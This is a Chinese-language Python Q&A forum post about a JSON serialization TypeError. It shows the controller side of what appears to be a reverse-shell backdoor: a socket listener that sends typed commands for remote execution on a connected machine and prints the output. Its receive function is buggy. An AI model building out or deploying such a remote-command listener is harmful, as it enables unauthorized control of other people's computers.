TypeError:bytes类型的对象不可JSON序列化

2024-09-30 18:32:31 发布

您现在位置:Python中文网/ 问答频道 /正文

当我在函数reliable\u receive,reliable\u receive to中使用json时,问题出现了 对我的变量进行编码和解码

import socket, json
class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming Connection")
        self.concetion, address = listener.accept()
        print("[+] You have Connection with " + str(address))

    def reliable_send(self, date):
        json_date = json.dumps(date, ensure_ascii=False).encode('utf8')
        self.concetion.send(json_date)
    def reliable_receive(self):
        json_date = self.concetion.recv(1024)
        json_date = json.dumps(json_date, ensure_ascii=False).decode('utf8')
        return json.loads(json_date)
  
    def extude_remotly(self, command):
        self.reliable_send(command)
        return self.reliable_receive()
    def run(self):
        while True:
            command = input(">>")
            result = self.extude_remotly(command)
            print(result)
mylistenr = Listener("192.168.1.7", 5555)
mylistenr.run()

Tags: selfipsendjsondateportdefsocket